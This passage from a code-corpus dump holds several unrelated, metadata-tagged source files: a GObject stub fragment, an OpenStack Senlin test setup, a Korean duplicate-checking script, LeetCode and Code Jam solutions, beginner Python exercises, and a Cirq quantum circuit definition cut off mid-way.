gi.VFuncInfo(changed), 'do_has_valid_policy': gi.VFuncInfo(has_valid_policy), 'do_hsts_enforced': gi.VFuncInfo(hsts_enforced), 'do_is_persistent': gi.VFuncInfo(is_persistent), 'parent': <property object at 0x7f8e47ed6180>, 'priv': <property object at 0x7f8e47ed6270>})" __gdoc__ = 'Object SoupHSTSEnforcer\n\nSignals from SoupHSTSEnforcer:\n changed (SoupHSTSPolicy, SoupHSTSPolicy)\n hsts-enforced (SoupMessage)\n\nSignals from GObject:\n notify (GParam)\n\n' __gsignals__ = {} __gtype__ = None # (!) real value is '<GType SoupHSTSEnforcer (94750594763632)>' __info__ = ObjectInfo(HSTSEnforcer)
7111ddfb6acf2732a7fac3581369ead18f23ff53
109ac2988a85c85ce0d734b788caca1c3177413b
/senlin/tests/__init__.py
1634fd8f1ae8335f9341c3e1fcb454027b088cb8
[ "Apache-2.0" ]
permissive
tengqm/senlin
481c16e19bc13911625d44819c6461a7c72e41cd
aa59c55c098abb13590bc4308c753338ce4a70f4
refs/heads/master
2021-01-19T04:51:17.010414
2015-03-16T10:06:09
2015-03-16T10:06:09
28,478,662
2
5
null
2015-03-04T07:05:00
2014-12-25T10:22:18
Python
UTF-8
Python
false
false
912
py
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import oslo_i18n def fake_translate_msgid(msgid, domain, desired_locale=None): return msgid oslo_i18n.enable_lazy() #To ensure messages don't really get translated while running tests. #As there are lots of places where matching is expected when comparing #exception message(translated) with raw message. oslo_i18n._translate_msgid = fake_translate_msgid
4ad44bcde9b6556481cdb983363a5b9757ecef01
e1b09ae83920656b20cad0e84f21b741752e926d
/sams/check_dupl_def2.py
29943740c0b63b607eb174d6f368341eced7c57f
[]
no_license
yeongsun/cute
5c46729d43f13967cdf4bda0edd100362de90c70
3150d7387c04c15e3569dc821562564cd8f9d87c
refs/heads/master
2020-04-25T10:38:41.833479
2018-11-29T05:42:46
2018-11-29T05:42:46
156,344,910
0
0
null
2018-11-06T07:41:03
2018-11-06T07:41:03
null
UTF-8
Python
false
false
2,231
py
import os, sys import logging import concurrent.futures import ys_logger sys.path.append(os.path.abspath('..')) logger = logging.getLogger('root') logger.setLevel("INFO") logger.addHandler(ys_logger.MyHandler()) logger.info("Finish setting logger") class check_dupl_conc(): def __init__(self): self.f1 = open("delivered_data/sum.tsv", "r") # 박영선 a # 이원문 b # 카카오 c # 박영선 d # 이원문 e self.f2 = open("not_dup_head_conc.txt", "w") self.f3 = open("dup_head_conc.txt", "w") self.lst = list() def preproc(self): l1 = list for ff in self.f1: ff = ff.replace("\n", "") i = ff.split("\t") if len(i) == 9: q1 = i[4].strip().replace("?", "") q2 = i[5].strip().replace("?", "") ans = i[6].strip() l1 = q1, q2, ans elif len(i) == 5: q1 = i[1].strip().replace("?", "") q2 = i[2].strip().replace("?", "") ans = i[3].strip() l1 = q1, q2, ans self.lst.append(l1) self.f1.close() logger.info("Finish load f1") def comp(self, f): for line in f: item = line.split("\t") q1 = item[5].strip().replace("?", "") q2 = item[13].strip().replace("?", "") ans = item[6].strip() flag = True for l in self.lst: if q1 == l[0] and q2 == l[1] and ans == l[2]: flag = False self.f3.write(line) break if flag: self.f2.write(line) def main(self): with open("select3.txt", "r") as f: # 박영선 parkys a # 이원문 moon b # 카카오 kakao c # 박영선 ylunar x # 이원문 moon y self.comp(f) logger.info("Finish All") self.f2.close() self.f3.close() if __name__ == "__main__": a = check_dupl_conc() a.preproc() a.main()
a868f06ffc94c8e8f5374027fa9157e9edf75fed
9d5ae8cc5f53f5aee7247be69142d9118769d395
/582. Kill Process.py
f6d2712a589e4d1bded42a8fccb55a00c2de168e
[]
no_license
BITMystery/leetcode-journey
d4c93319bb555a7e47e62b8b974a2f77578bc760
616939d1599b5a135747b0c4dd1f989974835f40
refs/heads/master
2020-05-24T08:15:30.207996
2017-10-21T06:33:17
2017-10-21T06:33:17
84,839,304
0
0
null
null
null
null
UTF-8
Python
false
false
627
py
class Solution(object): def killProcess(self, pid, ppid, kill): """ :type pid: List[int] :type ppid: List[int] :type kill: int :rtype: List[int] """ d = {} for i in xrange(len(ppid)): if ppid[i] in d: d[ppid[i]] += [pid[i]] else: d[ppid[i]] = [pid[i]] res = [] stack = [kill] while stack: k = stack.pop() res += [k] if k in d: stack += d[k] return res s = Solution() print s.killProcess([1, 3, 10, 5], [3, 0, 5, 3], 5)
c462013ed3ab5ba561d890a7be8d9df5ed9bdf6f
c362623e7bd0d656ad3a5a87cff8c2f2f4d64c30
/example/wikidocs_exam_11_20.py
b96e7d53b878744a881b52ea3ed6b05932a6a7b8
[]
no_license
bbster/PracticeAlgorithm
92ce418e974e4be8e95b0878b2e349bf8438de5f
171fa1880fb2635c5bac55c18a6981a656470292
refs/heads/master
2021-07-10T16:17:24.088996
2020-12-09T10:47:46
2020-12-09T10:47:46
222,721,632
0
0
null
null
null
null
UTF-8
Python
false
false
1,257
py
# https://wikidocs.net/7014 # 011 삼성전자 = 50000 print("평가금액", 삼성전자 * 10) # 012 시가총액 = 298000000000 현재가 = 50000 PER = 15.79 print("시가총액:", 시가총액, "현재가:", 현재가, "PER:", PER) # 답안지 # 시가총액 = 298000000000000 # 현재가 = 5000 # PER = 15.79 # print(시가총액, type(시가총액)) # print(현재가, type(현재가)) # print(PER, type(PER)) # type(변수) - 변수의 데이터 타입을 알수있다. int형인지 float인지 등등 # 013 s = "hello" t = "python" print(s, end="! ");print(t) # 답안지 # s = "hello" # t = "python" # print(s+"!", t) # 014 print(2+2*3) # 015 a = "128" print(type(a)) # class 'str' # 016 num_str = "720" num_int_casting = int("720") print(num_str, type(num_str)) print(num_int_casting, type(num_int_casting)) # 017 num = 100 str_casting = str(100) str_casting2 = str(num) print(str_casting, type(str_casting)) print(str_casting2, type(str_casting2)) # 018 str_a = "15.79" float_casting = float(str_a) print(float_casting, type(float_casting)) # 019 year = "2020" print(year, type(year)) year_int_casting = int(year) print(year_int_casting, type(year_int_casting)) # 020 air_conditioner = 48584 term = 36 print(air_conditioner * term)
e0a83c4a6640aa9ae36b4004cd85e1a20fd7a84b
28729bdabcb1c83429752bc15b14f2ac1950028f
/firmware/python_modules/newline2020/dashboard/launcher.py
e8effa148ddfacb867e2bcf5a634b515fa1095af
[]
no_license
badgeteam/ESP32-platform-firmware
434020769b36df164fd1719b3bcf996851d55294
04282f7fe84ddd0f0c3887fa948da68a9ade8126
refs/heads/master
2023-08-17T07:07:51.048777
2023-08-14T20:53:37
2023-08-14T20:53:37
194,534,857
31
49
null
2023-08-15T21:00:09
2019-06-30T15:59:30
C
UTF-8
Python
false
false
20
py
terminal/launcher.py
3b0d6a8455a25f85ab87e64585230366a5e647bc
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5744014401732608_0/Python/veluca/sol.py
bd10179fcb95ce05a54755b6ee878bca104f9dda
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
581
py
#!/usr/bin/env pypy3 import sys def solve(): B, M = map(int, input().split()) if M > 2**(B-2): return "IMPOSSIBLE" sol = [['0' for i in range(B)] for i in range(B)] for i in range(B-1): for j in range(0, i): sol[j][i] = '1' if M == 2**(B-2): sol[0][B-1] = '1' M -= 1 for i in range(B-2): if M & (2**i): sol[1+i][B-1] = '1' return "POSSIBLE\n" + "\n".join("".join(sol[i]) for i in range(B)) T = int(input()) for l in range(1, T+1): print("Case #%d:" % l, end=" ") print(solve())
33fa1f4b99a1258ca7464dad27008d7d33f81f0c
75d258d0cc8b07134a3db656a16e8c27557e3572
/n42_m14/circuit_n42_m14_s1_e6_pEFGH.py
b795237a2e1f2c51ab0b0c43db3ac209a29f512b
[]
no_license
tonybruguier/martinis_et_al_data
7c5acee8cb18586607c0ffdc25bc9b616e0847be
1a35e6712c5bd4b48ef0027707b52dd81e5aa3f3
refs/heads/master
2023-02-23T09:36:24.179239
2021-01-24T20:23:04
2021-01-24T20:23:04
332,266,881
0
0
null
null
null
null
UTF-8
Python
false
false
138,500
py
import cirq import numpy as np QUBIT_ORDER = [ cirq.GridQubit(0, 5), cirq.GridQubit(0, 6), cirq.GridQubit(1, 4), cirq.GridQubit(1, 5), cirq.GridQubit(1, 6), cirq.GridQubit(1, 7), cirq.GridQubit(2, 4), cirq.GridQubit(2, 5), cirq.GridQubit(2, 6), cirq.GridQubit(2, 7), cirq.GridQubit(2, 8), cirq.GridQubit(3, 2), cirq.GridQubit(3, 3), cirq.GridQubit(3, 5), cirq.GridQubit(3, 6), cirq.GridQubit(3, 7), cirq.GridQubit(3, 8), cirq.GridQubit(4, 1), cirq.GridQubit(4, 2), cirq.GridQubit(4, 3), cirq.GridQubit(4, 4), cirq.GridQubit(4, 5), cirq.GridQubit(4, 6), cirq.GridQubit(4, 7), cirq.GridQubit(5, 1), cirq.GridQubit(5, 2), cirq.GridQubit(5, 3), cirq.GridQubit(5, 4), cirq.GridQubit(5, 5), cirq.GridQubit(5, 6), cirq.GridQubit(5, 7), cirq.GridQubit(6, 1), cirq.GridQubit(6, 2), cirq.GridQubit(6, 3), cirq.GridQubit(6, 4), cirq.GridQubit(6, 5), cirq.GridQubit(6, 6), cirq.GridQubit(7, 2), cirq.GridQubit(7, 3), cirq.GridQubit(7, 4), cirq.GridQubit(7, 5), cirq.GridQubit(8, 3) ] CIRCUIT = cirq.Circuit(moments=[ cirq.Moment(operations=[ (cirq.Y**0.5).on(cirq.GridQubit(0, 5)), (cirq.Y**0.5).on(cirq.GridQubit(0, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 4)), (cirq.X**0.5).on(cirq.GridQubit(1, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 5)), (cirq.X**0.5).on(cirq.GridQubit(2, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 8)), (cirq.Y**0.5).on(cirq.GridQubit(3, 2)), (cirq.X**0.5).on(cirq.GridQubit(3, 3)), (cirq.X**0.5).on(cirq.GridQubit(3, 5)), (cirq.X**0.5).on(cirq.GridQubit(3, 6)), (cirq.X**0.5).on(cirq.GridQubit(3, 7)), (cirq.X**0.5).on(cirq.GridQubit(3, 8)), (cirq.Y**0.5).on(cirq.GridQubit(4, 1)), (cirq.X**0.5).on(cirq.GridQubit(4, 2)), (cirq.X**0.5).on(cirq.GridQubit(4, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 4)), (cirq.X**0.5).on(cirq.GridQubit(4, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 6)), (cirq.Y**0.5).on(cirq.GridQubit(4, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 1)), (cirq.Y**0.5).on(cirq.GridQubit(5, 2)), (cirq.Y**0.5).on(cirq.GridQubit(5, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 7)), (cirq.Y**0.5).on(cirq.GridQubit(6, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 2)), (cirq.X**0.5).on(cirq.GridQubit(6, 3)), (cirq.X**0.5).on(cirq.GridQubit(6, 4)), (cirq.Y**0.5).on(cirq.GridQubit(6, 5)), (cirq.Y**0.5).on(cirq.GridQubit(6, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 2)), (cirq.X**0.5).on(cirq.GridQubit(7, 3)), (cirq.X**0.5).on(cirq.GridQubit(7, 4)), (cirq.X**0.5).on(cirq.GridQubit(7, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -0.3448162225275961).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * 0.24851733121171846).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -2.079870303178702).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 2.0436918407499873).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * 1.2371391697444234).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * -1.2825274365288457).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -0.6529975013575373).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 0.21248377848559125).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -2.0638841157306445).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * 2.10101302367136).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 0.02232591119805812).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -0.030028573876142287).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -0.8467509808142173).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 0.8164932597686655).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -0.16310561378711827).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 0.1766183348870303).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -0.22542387771877406).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 0.2814659583608806).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -0.33113463396189063).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 0.40440704518468423).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -0.254599699022151).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 0.3888269305757545).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * -0.4081262439699967).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 0.3666829187201306).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -0.3507308388473503).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 0.37554649493270875).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -1.4187954353764791).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * 1.5102819373895253).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 0.1516394851691686).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -0.23575835453119093).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.545844435173598, phi=0.5163254336997252).on( cirq.GridQubit(1, 4), cirq.GridQubit(1, 5)), cirq.FSimGate(theta=1.5033136051987404, phi=0.5501439149572028).on( cirq.GridQubit(1, 6), cirq.GridQubit(1, 7)), cirq.FSimGate(theta=1.5930079664614663, phi=0.5355369376884288).on( cirq.GridQubit(2, 4), cirq.GridQubit(2, 5)), cirq.FSimGate(theta=1.59182423935832, phi=-5.773664463980115).on( cirq.GridQubit(2, 6), cirq.GridQubit(2, 7)), cirq.FSimGate(theta=1.5886126292316385, phi=0.4838919055156303).on( cirq.GridQubit(3, 2), cirq.GridQubit(3, 3)), cirq.FSimGate(theta=1.5286450573669954, phi=0.5113953905811602).on( cirq.GridQubit(3, 6), cirq.GridQubit(3, 7)), cirq.FSimGate(theta=1.565622495548066, phi=0.5127256481964074).on( cirq.GridQubit(4, 2), cirq.GridQubit(4, 3)), cirq.FSimGate(theta=1.5384796865621224, phi=0.5293381306162406).on( cirq.GridQubit(4, 6), cirq.GridQubit(4, 7)), cirq.FSimGate(theta=1.4727562833004122, phi=0.4552443293379814).on( cirq.GridQubit(5, 2), cirq.GridQubit(5, 3)), cirq.FSimGate(theta=1.5346175385256955, phi=0.5131039467233695).on( cirq.GridQubit(5, 4), cirq.GridQubit(5, 5)), cirq.FSimGate(theta=1.558221035096814, phi=0.4293113178636455).on( cirq.GridQubit(5, 6), cirq.GridQubit(5, 7)), cirq.FSimGate(theta=1.5169062231051558, phi=0.46319906116805815).on( cirq.GridQubit(6, 2), cirq.GridQubit(6, 3)), cirq.FSimGate(theta=1.5705414623224259, phi=0.4791699064049766).on( cirq.GridQubit(6, 4), cirq.GridQubit(6, 5)), cirq.FSimGate(theta=1.5516764540193888, phi=0.505545707839895).on( cirq.GridQubit(7, 2), cirq.GridQubit(7, 3)), cirq.FSimGate(theta=1.5699606675525557, phi=0.48292170263262457).on( cirq.GridQubit(7, 4), cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 1.2570424650348733).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * -1.3533413563507508).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 1.3803105504474993).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -1.4164890128762133).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * -0.7660705551087533).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * 0.7206822883243308).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 1.3183560383893944).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -1.7588697612613406).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 0.9354142698937665).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * -0.8982853619530515).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 0.5799079899133832).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -0.5876106525914674).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 1.0843371101222938).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -1.1145948311678457).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -1.6258237067659351).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 1.6393364278658469).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 0.7948295009385445).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -0.7387874202964381).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 0.049341949396894985).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 0.02393046182589869).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 0.07085461727529008).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 0.06337261427831344).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * 0.4710627118441926).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -0.5125060370940587).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 2.1645856475342256).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -2.1397699914488673).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 1.2773117920270392).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * -1.1858252900139932).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 0.5606941860998265).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -0.6448130554618487).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 5)), (cirq.Y**0.5).on(cirq.GridQubit(1, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 4)), (cirq.X**0.5).on(cirq.GridQubit(2, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 6)), (cirq.Y**0.5).on(cirq.GridQubit(2, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 8)), (cirq.X**0.5).on(cirq.GridQubit(3, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 3)), (cirq.Y**0.5).on(cirq.GridQubit(3, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 7)), (cirq.Y**0.5).on(cirq.GridQubit(3, 8)), (cirq.X**0.5).on(cirq.GridQubit(4, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 2)), (cirq.Y**0.5).on(cirq.GridQubit(4, 3)), (cirq.X**0.5).on(cirq.GridQubit(4, 4)), (cirq.Y**0.5).on(cirq.GridQubit(4, 5)), (cirq.X**0.5).on(cirq.GridQubit(4, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 7)), (cirq.Y**0.5).on(cirq.GridQubit(5, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 3)), (cirq.Y**0.5).on(cirq.GridQubit(5, 4)), (cirq.Y**0.5).on(cirq.GridQubit(5, 5)), (cirq.Y**0.5).on(cirq.GridQubit(5, 6)), (cirq.X**0.5).on(cirq.GridQubit(5, 7)), (cirq.X**0.5).on(cirq.GridQubit(6, 1)), (cirq.Y**0.5).on(cirq.GridQubit(6, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 3)), (cirq.Y**0.5).on(cirq.GridQubit(6, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 6)), (cirq.Y**0.5).on(cirq.GridQubit(7, 2)), (cirq.Y**0.5).on(cirq.GridQubit(7, 3)), (cirq.Y**0.5).on(cirq.GridQubit(7, 4)), (cirq.Y**0.5).on(cirq.GridQubit(7, 5)), (cirq.X**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -2.0179756248661533).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * 2.064958427369896).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * -5.435868884042397).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 5.438497289344933).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -5.19048555249959).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 5.170988862096221).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 3.362366769065076).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -3.655232369531361).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * -4.480708067260001).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 4.525888267898699).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 2.763288476134621).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -2.7382876075948173).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * -4.882352366676035).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * 4.924090864144291).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 2.135954522972214).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -2.1822665205802965).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -3.7780476633662574).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 3.817335880513747).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -2.8819419896554686).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 2.9028256034569604).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 0.7811374803446167).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -0.6780279413275597).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 2.2532274955007456).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * -2.5360843333016145).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 2.3134893226730737).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -2.238493420699622).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -4.378582817568972).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 4.459782783273393).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * 1.42630741834175).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -1.5270341780432073).on(cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.5454967174552687, phi=0.5074540278986153).on( cirq.GridQubit(0, 5), cirq.GridQubit(0, 6)), cirq.FSimGate(theta=1.5233234922971755, phi=0.6681144400379464).on( cirq.GridQubit(1, 5), cirq.GridQubit(1, 6)), cirq.FSimGate(theta=1.5644541080112795, phi=0.5439498075085039).on( cirq.GridQubit(2, 5), cirq.GridQubit(2, 6)), cirq.FSimGate(theta=1.5866139110090092, phi=0.5693597810559818).on( cirq.GridQubit(2, 7), cirq.GridQubit(2, 8)), cirq.FSimGate(theta=1.541977006124425, phi=0.6073798124875975).on( cirq.GridQubit(3, 5), cirq.GridQubit(3, 6)), cirq.FSimGate(theta=1.5573072833358306, phi=0.5415514987622351).on( cirq.GridQubit(3, 7), cirq.GridQubit(3, 8)), cirq.FSimGate(theta=1.5345751514593928, phi=0.472462117170605).on( cirq.GridQubit(4, 1), cirq.GridQubit(4, 2)), cirq.FSimGate(theta=1.5138652502397498, phi=0.47710618607286504).on( cirq.GridQubit(4, 3), cirq.GridQubit(4, 4)), cirq.FSimGate(theta=1.5849169442855044, phi=0.54346233613361).on( cirq.GridQubit(4, 5), cirq.GridQubit(4, 6)), cirq.FSimGate(theta=1.4838884067961586, phi=0.5070681071136852).on( cirq.GridQubit(5, 1), cirq.GridQubit(5, 2)), cirq.FSimGate(theta=1.5398075246432927, phi=0.5174515645943538).on( cirq.GridQubit(5, 3), cirq.GridQubit(5, 4)), cirq.FSimGate(theta=1.4902099797510393, phi=0.4552057582549894).on( cirq.GridQubit(6, 1), cirq.GridQubit(6, 2)), cirq.FSimGate(theta=1.5376836849431186, phi=0.46265685930712236).on( cirq.GridQubit(6, 3), cirq.GridQubit(6, 4)), cirq.FSimGate(theta=1.555185434982808, phi=0.6056351386305033).on( cirq.GridQubit(6, 5), cirq.GridQubit(6, 6)), cirq.FSimGate(theta=1.4749003996237158, phi=0.4353609222411594).on( cirq.GridQubit(7, 3), cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 1.6292875119692507).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * -1.5823047094655076).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * 5.79385605258612).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -5.791227647283584).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 5.223139057027918).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -5.242635747431287).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -2.7477760804704774).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 2.454910480004192).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * 5.048199817882042).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -5.0030196172433445).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -2.578152260365417).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 2.60315312890522).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * 4.080045044703728).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * -4.038306547235473).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -2.6543362735839113).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 2.6080242759758283).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 3.9045088495271663).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -3.8652206323796765).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 1.9770644223044243).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -1.9561808085029322).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -1.5516585295358842).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 1.6547680685529413).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -0.5449135022758093).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * 0.2620566644749405).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -2.3490397609251703).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 2.424035662898622).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 5.25154083730089).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -5.170340871596469).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * -1.8655832225378013).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 1.7648564628363437).on(cirq.GridQubit(7, 4)), ]), 